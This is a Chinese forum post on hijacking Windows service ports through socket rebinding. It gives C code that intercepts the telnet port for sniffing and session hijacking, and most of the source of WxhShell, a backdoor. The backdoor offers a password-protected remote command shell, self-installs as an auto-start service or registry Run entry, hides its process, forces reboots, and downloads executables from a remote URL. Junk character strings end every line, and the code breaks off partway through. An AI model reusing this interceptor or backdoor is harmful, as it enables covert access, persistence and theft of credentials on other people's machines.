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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: \? j E#^  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); )4?x5#  
Ed0IWPx  
  saddr.sin_family = AF_INET; 9jp:k><\(c  
?T_3n:  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); v]% WH~>  
*?+V65~dW  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); ]Fvm 7V  
>StO.Q99  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 5G0 $  
YI-O{U  
  这意味着什么?意味着可以进行如下的攻击: b 6t}{_7  
DcMJ^=r8O:  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 D47R  
dt[k\ !-v  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) mDGn:oRj  
`6y{.$ z  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 P X;Ed*y  
/:<IIqO.  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  _UE)*l m+  
Uw-p758dD  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 hqk}akXt  
LAx4Xp/  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 1iL 'V-y  
G a;.a  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 zL5d0_E9  
'6$*YN&5  
  #include ODc9r }  
  #include H* ,,^  
  #include Hv]7e|  
  #include    "M|P+A  
  DWORD WINAPI ClientThread(LPVOID lpParam);   #U=X NU}k  
  int main() }7{t^>;D  
  { +6smsL~<#v  
  WORD wVersionRequested; k"k J_(  
  DWORD ret; d_S*#/k  
  WSADATA wsaData; bW#@OrsS  
  BOOL val; wiOgyMdx  
  SOCKADDR_IN saddr; Y=Z1Tdxa|  
  SOCKADDR_IN scaddr; 'tN25$=V&W  
  int err; 5#3W5z  
  SOCKET s;  I~,G  
  SOCKET sc; Vh3Ijn  
  int caddsize; =S[yE]v^  
  HANDLE mt; 0Iud$Lu  
  DWORD tid;   7z\m; 1  
  wVersionRequested = MAKEWORD( 2, 2 ); IdIrI  
  err = WSAStartup( wVersionRequested, &wsaData ); #jpoHvt h  
  if ( err != 0 ) { VHOfaCE  
  printf("error!WSAStartup failed!\n"); xRu Fuf8  
  return -1; C ]Si|D  
  } 6m.k;'  
  saddr.sin_family = AF_INET; ES<1tG  
   GN#<yv$av  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 "I;C;}!  
" +KJop  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); 9/SXs0  
  saddr.sin_port = htons(23); g u)=wu0  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) }],Z;:  
  { WqxUXH  
  printf("error!socket failed!\n"); O2{)WWOT  
  return -1; lcON+j  
  } h@7FY  
  val = TRUE; ?^' 7+8C*J  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 UE _fpq  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) dAP|:&y@  
  { 2LCB])X  
  printf("error!setsockopt failed!\n"); !>x|7   
  return -1; lX:|iB  
  } OE)~yKy  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; +u@aJ_^  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 X.ONa_  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 .*=]gZ$IE  
NT%W;)6m9  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) w.Ezg j  
  { M-NV_W&M  
  ret=GetLastError(); 6*9}4`  
  printf("error!bind failed!\n"); h :Xz UxL\  
  return -1; 8,?v?uE  
  } Xf =XBoN|  
  listen(s,2); H-rWDN#  
  while(1) /Y[~-Y+!,  
  { PI A)d-Z  
  caddsize = sizeof(scaddr); ]!:oYAm  
  //接受连接请求 s/"&9F3  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); &m3.h!dq  
  if(sc!=INVALID_SOCKET) BE&B}LfvfO  
  { qZ@0]"h  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); *fO3]+)d+  
  if(mt==NULL) 8T;IZ(s  
  { VS#wl|b8  
  printf("Thread Creat Failed!\n"); QYXx:nIrg  
  break; 0YH+B   
  } {"*VU3%q  
  } C8@TZ[w  
  CloseHandle(mt); ZA~Z1Mro#"  
  } !DjvsG1x  
  closesocket(s); Uu6L~iB  
  WSACleanup(); ^\ ?O4,L  
  return 0; 1{pmKPu  
  }   M_B:{%4  
  DWORD WINAPI ClientThread(LPVOID lpParam) U]qav,^[  
  { PYB+FcR6?n  
  SOCKET ss = (SOCKET)lpParam; Uts"aQ  
  SOCKET sc; (-7ZI"Ku  
  unsigned char buf[4096];  R7oj#  
  SOCKADDR_IN saddr; x+? 9C  
  long num; 1rw0sAuGy  
  DWORD val; vv6$>SU  
  DWORD ret;  [\)oo  
  //如果是隐藏端口应用的话,可以在此处加一些判断 y<W8Q<9  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   kI*(V [i  
  saddr.sin_family = AF_INET; rh2LGuo4m  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); k'`m97B  
  saddr.sin_port = htons(23); ,p{`pma  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) .F&9.#>  
  { &a> lWE  
  printf("error!socket failed!\n"); ocwG7J\W  
  return -1; N5|Rmfo1  
  } y;" n9  
  val = 100; 7>o .0  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) y#ON|c /  
  { pl*~kG=  
  ret = GetLastError(); rgIrr5  
  return -1; z `8cOK-  
  } VeiElU3  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) &zL#hBE  
  { Zr$d20M2A;  
  ret = GetLastError(); '/0#lF  
  return -1; W:&R~R  
  } k!jNOqbb  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) J.*XXM- V  
  { K5 3MMH[q#  
  printf("error!socket connect failed!\n"); S6nhvU:  
  closesocket(sc); qOCJTOg7  
  closesocket(ss); {!ZyCi19  
  return -1; ^jdL@#k00  
  } r'/;O  
  while(1) OL59e %X  
  { ofc.zwH  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 a<XCNTaVT  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 =<f-ob8,  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 jdut4 nFc  
  num = recv(ss,buf,4096,0); $X`y%*<<v  
  if(num>0) CF y}r(q  
  send(sc,buf,num,0); $KV&\Q3\0  
  else if(num==0) KcGsMPJ  
  break; wn +FTqj  
  num = recv(sc,buf,4096,0); BJjx|VA+  
  if(num>0) X[C3&NX#_  
  send(ss,buf,num,0); }6RT,O g  
  else if(num==0) >hMUr*j  
  break; LDT(]HJ  
  } ~yJ4qp-  
  closesocket(ss); %:6?Y%`*[  
  closesocket(sc); l1_X(Z._V  
  return 0 ; T~4mQuYi  
  } yT /EHmJ  
3EFD%9n  
m/&i9A  
========================================================== Zp`T  
suJ_nb  
下边附上一个代码,,WXhSHELL |fsm8t<~8  
-*VKlZ8-  
========================================================== -H(vL=  
BWPP5X9  
#include "stdafx.h" Lf}8qB#Y  
O0l^*nZ46t  
#include <stdio.h> e&Y0}oY  
#include <string.h> F:FMeg  
#include <windows.h> b=##A  
#include <winsock2.h> 8Vl!|\x5  
#include <winsvc.h> O>r-]0DI[  
#include <urlmon.h> c|p,/L09L  
>X}{BDMb.  
#pragma comment (lib, "Ws2_32.lib") u/^|XOy  
#pragma comment (lib, "urlmon.lib") g1m-+a  
@_'OyRd8  
#define MAX_USER   100 // 最大客户端连接数 s PYX~G&T  
#define BUF_SOCK   200 // sock buffer Ayx^Wp*s  
#define KEY_BUFF   255 // 输入 buffer *3{J#Q6fk3  
QezSJ io  
#define REBOOT     0   // 重启 @9 8;VWY\  
#define SHUTDOWN   1   // 关机 ^i%A7pg  
~2 }Pl)  
#define DEF_PORT   5000 // 监听端口 3*S[eqMJc  
@Z(rgF{{  
#define REG_LEN     16   // 注册表键长度 ~&G4)AM  
#define SVC_LEN     80   // NT服务名长度 $`Nd?\$  
'8`T|2   
// 从dll定义API tn<6:@T  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); M8W#io  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); #Fd W/y5  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); DQ!J!ltQ  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); 3><u*0qe%I  
e=f.y<  
// wxhshell配置信息 8:;#,Urr  
struct WSCFG { D!> d0k,Y  
  int ws_port;         // 监听端口 6XUuGxQV/  
  char ws_passstr[REG_LEN]; // 口令 V% axeqs  
  int ws_autoins;       // 安装标记, 1=yes 0=no +H'\3^C-  
  char ws_regname[REG_LEN]; // 注册表键名 ^[# & ^[-V  
  char ws_svcname[REG_LEN]; // 服务名 J%v5d*$.  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 2wpjU&8W!  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 W?,$!]0  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 )*1.eObhL  
int ws_downexe;       // 下载执行标记, 1=yes 0=no ksI>IW  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" )q^ Bj$  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 ] pPz@@xx  
/)#8)"`nT  
}; )^;DGzG  
L@)&vn]  
// default Wxhshell configuration <)#kq1b?  
struct WSCFG wscfg={DEF_PORT, %]4-{%v  
    "xuhuanlingzhe", \ElX~$fS  
    1, iyM^[/-R6  
    "Wxhshell", /A(NuB<Pq  
    "Wxhshell", UVX"fZ)  
            "WxhShell Service", IsYP0(L  
    "Wrsky Windows CmdShell Service", 3B9nP._  
    "Please Input Your Password: ", *3Nn +T  
  1, E&2tBrAq  
  "http://www.wrsky.com/wxhshell.exe", 3 ]}'TA`v  
  "Wxhshell.exe" L7q |^`  
    }; }5gr5g\OtP  
_vrWj<wyf  
// 消息定义模块 cdp0!W4Gi  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; D1"7s,Hmu  
char *msg_ws_prompt="\n\r? for help\n\r#>"; /8eW@IO.F  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; C ?7X"~ ~  
char *msg_ws_ext="\n\rExit."; vjK, I9  
char *msg_ws_end="\n\rQuit."; 0-xCp ~vE  
char *msg_ws_boot="\n\rReboot..."; vA?_-.J  
char *msg_ws_poff="\n\rShutdown..."; &4kM8Qh  
char *msg_ws_down="\n\rSave to "; R2^iSl%pj  
U</+.$b  
char *msg_ws_err="\n\rErr!"; &hN,xpC  
char *msg_ws_ok="\n\rOK!"; (([I]q  
!WKk=ysFS  
char ExeFile[MAX_PATH];  (K #A  
int nUser = 0; U"5q;9#q  
HANDLE handles[MAX_USER]; ])$S\fFm  
int OsIsNt; {+=i?  
Npa-$N&P{S  
SERVICE_STATUS       serviceStatus; rz6jx  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; *SZ>upg  
}iNY_I c  
// 函数声明 M\UWWb&%\  
int Install(void); "{F;M{h$},  
int Uninstall(void); 'Z7P  
int DownloadFile(char *sURL, SOCKET wsh); 9*pG?3*I  
int Boot(int flag); 3%IWGmye4  
void HideProc(void); z\}!RBOq  
int GetOsVer(void); zqGYOm$r  
int Wxhshell(SOCKET wsl); |=3 *;}  
void TalkWithClient(void *cs); Fk$@Yy+}e  
int CmdShell(SOCKET sock); Y ><(?  
int StartFromService(void); D@hmO]5c  
int StartWxhshell(LPSTR lpCmdLine); XiG88Kwv  
<xF?~7  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); )BLmoJOf  
VOID WINAPI NTServiceHandler( DWORD fdwControl );  U42\.V0  
1g i}H)  
// 数据结构和表定义 q<XcOc5  
SERVICE_TABLE_ENTRY DispatchTable[] = 7Po/_%  
{ E^syrEz  
{wscfg.ws_svcname, NTServiceMain}, Ekf2NT  
{NULL, NULL} ;D&wh  
}; "k>bUe|RG  
~ &~C#yjg1  
// 自我安装 Y'_ D<Mp  
int Install(void) g{a d0.y,  
{ {Gkn_h-^  
  char svExeFile[MAX_PATH]; )6G+tU'  
  HKEY key; |Ow$n  
  strcpy(svExeFile,ExeFile); 6D^%'[4t  
r}@< K  
// 如果是win9x系统,修改注册表设为自启动 P%!q1`Eke(  
if(!OsIsNt) { )dg UmN  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 0*{p Oe/u  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); Kq6qXc\x  
  RegCloseKey(key); WguV{#=H  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 6DZ2pT:  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); a}D&$yz2  
  RegCloseKey(key); ro]L}oE+  
  return 0; APuu_!ez1  
    } `q1}6U/k  
  } ?M<|r11}  
} `w=!o.1  
else { riEqW}{  
)`RZkCe  
// 如果是NT以上系统,安装为系统服务 Ap,q `S  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); K!b>TICa:  
if (schSCManager!=0) 6cZ  C  
{ HjPH  
  SC_HANDLE schService = CreateService j)@oRWL<  
  ( 0C7"3l  
  schSCManager, 1 ' %-y  
  wscfg.ws_svcname, A?V<l<EAm  
  wscfg.ws_svcdisp, |Kn^w4mN  
  SERVICE_ALL_ACCESS, Z{16S=0  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , bl9E&B/  
  SERVICE_AUTO_START, G[B*TM6$  
  SERVICE_ERROR_NORMAL, -9i+@%{/  
  svExeFile, :\T_'Shq  
  NULL, /K&wr6  
  NULL, -CZ-l;5  
  NULL, C9+Dw#-f V  
  NULL, rN'k4V"K  
  NULL u"joCZ7`kG  
  ); h!;MBn`8  
  if (schService!=0) N>T=L0`  
  { &:,fb]p  
  CloseServiceHandle(schService); h@/>?Va  
  CloseServiceHandle(schSCManager); LQ|<3]  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); Ae3#>[]{  
  strcat(svExeFile,wscfg.ws_svcname); kjfxjAS=m  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { 3~8AcX@  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); ri;r7Y9V9`  
  RegCloseKey(key); 33S`aJ  
  return 0; @) ]t8(  
    } ~M(pCSJ[  
  } a\|X^%2g  
  CloseServiceHandle(schSCManager); <#!8?o&i  
} ,P1G ?,y  
} .;}pU!S~R  
JG1LS$p^  
return 1; ;W =by2x*  
} 3pzOt&T|w  
r6/<&1[  
// 自我卸载 lHRK'? Q  
int Uninstall(void) ^&e;8d|f{  
{ 4>d[qr*<  
  HKEY key; A'w2GC{.  
4O9tx_<JG  
if(!OsIsNt) { DOA[iT";4  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { !DCVoc]pV  
  RegDeleteValue(key,wscfg.ws_regname); LE Jlo%M  
  RegCloseKey(key); ec,z6v^9  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { yA457'R1  
  RegDeleteValue(key,wscfg.ws_regname); \>_eEZ5  
  RegCloseKey(key); <kk'v'GW@  
  return 0; 72% {Wh/  
  } ~c'\IM  
} + >Fv*lux  
} VdYOm  
else { :K5V/-[|V1  
jh-kCF  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); mRNHq3  
if (schSCManager!=0) X@G[=Rs  
{ ZO]E@?Oav  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); )E_!rR  
  if (schService!=0) _p?I{1O  
  { uV#-8a5!  
  if(DeleteService(schService)!=0) { </~1p~=hAt  
  CloseServiceHandle(schService); __Vg/C!W  
  CloseServiceHandle(schSCManager); Cf.WO%?P  
  return 0; thR|h+B  
  } +X{cN5Y K  
  CloseServiceHandle(schService); UX+?0K  
  } ,(zcl$A[  
  CloseServiceHandle(schSCManager); 6i55Ja  
} 4h[2C6 \+`  
} 9Vh_XBgP  
~ly`u  
return 1; 3BuD/bs  
} =2Pz$q*ub  
MX%|hIOpr  
// 从指定url下载文件 }"!6Xm  
int DownloadFile(char *sURL, SOCKET wsh) ,<I L*=a  
{ pvK \fSr  
  HRESULT hr; 1j_aH#Fz:  
char seps[]= "/"; }C9VTJs|  
char *token; &n,xGIG  
char *file; 0f EZD$  
char myURL[MAX_PATH]; xow6@M,  
char myFILE[MAX_PATH]; )@?Qt2  
$,!dan<eA  
strcpy(myURL,sURL); |YMzp8Da(  
  token=strtok(myURL,seps); n/,rn>k7:  
  while(token!=NULL) \f ~u85  
  { ?^F*"+qI  
    file=token;  'lSnyW{  
  token=strtok(NULL,seps); %> oT7|x  
  } OpbszSl"y  
Jc9@VxWY  
GetCurrentDirectory(MAX_PATH,myFILE); pO@k@JZ  
strcat(myFILE, "\\"); _%C_uBLi  
strcat(myFILE, file); 50O7=  
  send(wsh,myFILE,strlen(myFILE),0); 4'7 v!I9  
send(wsh,"...",3,0); #w[q.+A  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); _Y:Ja0,  
  if(hr==S_OK) m7bn%j-{$f  
return 0; |^>L`6uo  
else ^$ g],PAY  
return 1; A@fshWrl%  
U/ v"?pg[  
} Lk$Je O  
S.?\>iH[  
// 系统电源模块 |>m# m*{S  
int Boot(int flag) !ds"88:5^  
{ rVc zO+E  
  HANDLE hToken; :d:|7hlNQ  
  TOKEN_PRIVILEGES tkp; Y:#kel<  
~`W6O>  
  if(OsIsNt) { %m0L!|E  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); #Q!c42}M  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); s0`]!7D<  
    tkp.PrivilegeCount = 1; Q*oA{eZY  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; g6k&c"%IQ(  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); '=@H2T6=  
if(flag==REBOOT) { !nqm ;96  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) C_g"omw40  
  return 0; rA>A=,  
} fS'k;r*r  
else { +A.a~Stt  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) @8x6#|D  
  return 0; 3e!a>Gl*  
} 6kmZ!9w0|  
  } jQw`*Y/,  
  else { $TH'"XK  
if(flag==REBOOT) { ,AFC1t[0  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) ~ L i%  
  return 0; : Oz7R:  
} Sj=69>m]5  
else { ?Sd~u1w8K  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) !Sr0Im0  
  return 0; d%[`=fs]|m  
} n+A'XBHk  
} !D|pbzQc8  
d~xU?)n)  
return 1; F"HI>t)>  
} 0'`8HP  
iM Y0xf8l  
// win9x进程隐藏模块 u" NIG  
void HideProc(void) +h9l %Pz  
{ + X|m>9  
Wvzzjcr(j  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); HK,G8:T  
  if ( hKernel != NULL ) ]R3pBC"Jv  
  { v1tN DyM6  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); 6{,K7FL  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); }G:uzud10  
    FreeLibrary(hKernel); y9l.i@-  
  }  h(N 9RJ}  
J=Y( *D7Q  
return; [?K\%]  
} zi DlJ3]^  
{ "@b`  
// 获取操作系统版本 # |*,zIYo  
int GetOsVer(void) Qi'WV9ke  
{ ,VcD vZ7  
  OSVERSIONINFO winfo; ^: rNoo  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); ,oi`BOh  
  GetVersionEx(&winfo); wDC/w[4:  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) O%Gsk'mo  
  return 1; lXL7q?,9  
  else "8iyMP%8  
  return 0; *Yk8Mj^_h  
} e 7)%=F/)  
(8eNZ*+mO  
// 客户端句柄模块 =='{[[J  
int Wxhshell(SOCKET wsl) 1p "EE~ v  
{ i2%m}S;D9  
  SOCKET wsh; ,B/p1^;.  
  struct sockaddr_in client; 4>wIF}\  
  DWORD myID; lVp~oZC6[  
h9OL%n 7m'  
  while(nUser<MAX_USER) Gk]qE]hi  
{ E( 4lu%  
  int nSize=sizeof(client); 1b]PCNz  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); qer'V  
  if(wsh==INVALID_SOCKET) return 1; J7xT6Q=  
!O-_Dp\#  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); +` Y ?-  
if(handles[nUser]==0) Ev|{~U  
  closesocket(wsh); EwBN+v;)  
else "VVR#H}{  
  nUser++; mEc;-b f  
  } g KmRjK  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); `J7Lecgo  
f[I'j0H%  
  return 0; ^@5ui;JV  
} uW-- nXMs  
_Ag/gu2-?  
// 关闭 socket ~FCSq:_  
void CloseIt(SOCKET wsh) m+8b2H:V  
{ xS\QKnG.  
closesocket(wsh); W<hdb!bE  
nUser--; |I^Jn@Mq:  
ExitThread(0); 9xS`@ "`  
} %LZM5Z^  
V-U  ^O45  
// 客户端请求句柄 lXk-86[M  
void TalkWithClient(void *cs) 2WECQl=r  
{ a:%5.!Vd  
hv8[_p`>  
  SOCKET wsh=(SOCKET)cs; WQmiG=Dw^  
  char pwd[SVC_LEN]; <GmrKdM  
  char cmd[KEY_BUFF]; {F9Qy0.*u  
char chr[1]; [tf^i:2  
int i,j; GTIfrqT  
> FcA ,  
  while (nUser < MAX_USER) { C05{,w?  
T]Td4T!  
if(wscfg.ws_passstr) { qsRfG~Cg  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); "91At b;hJ  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); W]Y!ZfGnN  
  //ZeroMemory(pwd,KEY_BUFF); @`+$d=rO`  
      i=0; gsq[ 9  
  while(i<SVC_LEN) { f(MHU   
LOG*K;v3  
  // 设置超时 k@)m-K  
  fd_set FdRead; 714nUA872  
  struct timeval TimeOut; 3R[J,go  
  FD_ZERO(&FdRead); E9*?G4P{l  
  FD_SET(wsh,&FdRead); 1YD.jU^;HD  
  TimeOut.tv_sec=8; b|@op>UZ  
  TimeOut.tv_usec=0; 1~u\]Zi=D  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); j#>![km Mu  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); &EJ,k'7$  
1Y"qQp  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); Ri6 br  
  pwd=chr[0]; =ZIFS  
  if(chr[0]==0xd || chr[0]==0xa) {  eV=sDx  
  pwd=0; ./*,Thc  
  break; >Pd23TsN  
  } JP*wi-8D  
  i++;  (mD:[|.  
    } PL_wa(}y]D  
3rdxXmx  
  // 如果是非法用户,关闭 socket 2DqHqq9m  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); SK}g(X7IWH  
} kQ'xs%Fw  
? /X6x1PN  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); MC)W?  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Y +yvv{01  
n.UM+2G  
while(1) { !4cdP2^P  
OxGCpbh*7o  
  ZeroMemory(cmd,KEY_BUFF); ]BD5+>;  
 y] r~v  
      // 自动支持客户端 telnet标准   <).qe Z  
  j=0; ^X'7>{7Io  
  while(j<KEY_BUFF) { WWD@rnsVf  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); G.ARu-2's  
  cmd[j]=chr[0]; 'wq:F?viF  
  if(chr[0]==0xa || chr[0]==0xd) { ^52R`{  
  cmd[j]=0; )g^Ewzy^X  
  break; g)6 k?Y  
  } l hp:.  
  j++; $ rnr;V  
    } q8v!{Os+#  
Guc^gq}  
  // 下载文件 cDyC&}:f  
  if(strstr(cmd,"http://")) { J|8YB3K,  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); y'wW2U/ 1-  
  if(DownloadFile(cmd,wsh)) zvC,([  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); "A`'~]/hE  
  else :%]R x&08  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); uQ+$HzxX  
  } V)jhyCL  
  else { JN-8\ L  
\eN/fTPm  
    switch(cmd[0]) { CPM6T$_qE  
  3? CpylCO  
  // 帮助 R}<s~` Pl  
  case '?': { JY8pV+q @=  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); ]h$TgX  
    break; +N&(lj  
  }  :!FwF65  
  // 安装 <q=B(J'  
  case 'i': { EPnB%'l\c  
    if(Install()) 8gm[Q[  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 6{WT;W>WT:  
    else 640V&<+v  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); TBYL~QQD\C  
    break; XYTcG;_z  
    } HhH'\-[t  
  // 卸载 D+PUi!  
  case 'r': {  Jl,x~d  
    if(Uninstall()) !Shh$iz  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); r26Wysi~%  
    else >maz t=,  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); gcF><i6  
    break; BEx^IQ2  
    } .;6bMP[YA  
  // 显示 wxhshell 所在路径 .1lc'gu5y  
  case 'p': { l6Bd<tSH  
    char svExeFile[MAX_PATH]; Bn:sN_N  
    strcpy(svExeFile,"\n\r"); >;?97'M  
      strcat(svExeFile,ExeFile); <2A'   
        send(wsh,svExeFile,strlen(svExeFile),0); 7^X_tQf  
    break; W4a20KM2  
    } 9oz)E>K4f  
  // 重启 sg\ jC#  
  case 'b': { n K=V`  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); 8#B;nyGD1I  
    if(Boot(REBOOT)) 2@rc&Tx  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 1D]wW%us  
    else { DO{4n1-U  
    closesocket(wsh); ;r}<o?'RM  
    ExitThread(0); xc3Q7u!|  
    } X[6 z  
    break; aa]v7d  
    } JpiKZG@L  
